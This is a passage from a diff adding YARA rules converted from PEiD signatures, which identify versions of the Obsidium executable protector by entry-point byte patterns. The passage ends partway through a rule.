+        description = "[Obsidium 1.3.0.13 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 03 ?? ?? ?? E8 13 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01376_Obsidium_1_3_0_17____Obsidium_software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.17 -> Obsidium software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01377_Obsidium_1_3_0_17____Obsidium_software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.17 -> Obsidium software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 4F 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01378_Obsidium_1_3_0_21____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.21 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01379_Obsidium_1_3_0_37____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.0.37 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01380_Obsidium_1_3_0_4____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium 1.3.0.4 -> Obsidium Software (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01381_Obsidium_1_3_1_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.1.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03}
+    condition:
+        $a
+}
+
+rule PEiD_01382_Obsidium_1_3_2_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.2.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01383_Obsidium_1_3_3_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 02 ?? ?? E8 5F 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01384_Obsidium_1_3_3_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01385_Obsidium_1_3_3_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 3B 27 00 00}
+    condition:
+        $a
+}
+rule PEiD_01386_Obsidium_1_3_3_3____Obsidium_Software___Sign_By_haggar_
+{
+    meta:
+        description = "[Obsidium 1.3.3.3 -> Obsidium Software * Sign.By.haggar]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27}
+    condition:
+        $a
+}
+
+rule PEiD_01387_Obsidium_1_3_3_3____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.3 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01388_Obsidium_1_3_3_3____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.3 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B ?? 24 0C EB 01 ?? 83 ?? B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01389_Obsidium_1_3_3_4____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.4 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 03}
+    condition:
+        $a
+}
+
+rule PEiD_01390_Obsidium_1_3_3_6____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.6 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01391_Obsidium_1_3_3_6____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.6 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? ?? ?? ?? ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 01 ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01392_Obsidium_1_3_3_7__2007_06_23_____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.7 (2007.06.23) -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 27 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 23 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8 F7 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01393_Obsidium_1_3_3_7____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.7 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01394_Obsidium_1_3_3_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01395_Obsidium_1_3_3_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 57 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01396_Obsidium_1_3_3_9____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.9 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03}
+    condition:
+        $a
+}
+
+rule PEiD_01397_Obsidium_1_3_3_9____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.3.9 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 28 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 CF 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01398_Obsidium_1_3_4_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.4.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33}
+    condition:
+        $a
+}
+
+rule PEiD_01399_Obsidium_1_3_4_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium 1.3.4.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 C3 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01400_Obsidium_v1_0_0_61_
+{
+    meta:
+        description = "[Obsidium v1.0.0.61]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AF 1C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01401_Obsidium_v1_1_1_1_
+{
+    meta:
+        description = "[Obsidium v1.1.1.1]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 E7 1C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01402_Obsidium_V1_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 77 1E 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01403_Obsidium_V1_2_5_8____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.2.5.8 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 ?? 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01404_Obsidium_V1_2_5_8_V1_3_3_X____Obsidium_Software___Sign_by_fly_
+{
+    meta:
+        description = "[Obsidium V1.2.5.8-V1.3.3.X -> Obsidium Software ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 ?? 00 00 00 EB 02 ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_01405_Obsidium_V1_2_X____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.2.X -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 33 C0 8B 54 24 0C 83 82 B8 00 00 00 0D C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01406_Obsidium_V1_25____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.25 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01407_Obsidium_v1_3_0_0____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.0.0 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B 50 EB 03 8A 0B 93 33 C0 EB 02 28 B9 8B 00 EB 01 04 C3 EB 04 65 B3 54 0A E9 FA 00 00 00 EB 01 A2 E8 D5 FF FF FF EB 02 2B 49 EB 03 7C 3E 76 58 EB 04 B8 94 92 56 EB 01 72 64 67 8F 06 00 00 EB 02 23 72 83 C4 04 EB 02 A9 CB E8 47 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01408_Obsidium_V1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 29 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01409_Obsidium_V1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 02 ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 22 EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01410_Obsidium_V1_3_0_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01411_Obsidium_v1_3_0_37____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.0.37 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01412_Obsidium_v1_3_0_37____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.0.37 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27}
+    condition:
+        $a
+}
+
+rule PEiD_01413_Obsidium_v1_3_0_4____Obsidium_Software__h__
+{
+    meta:
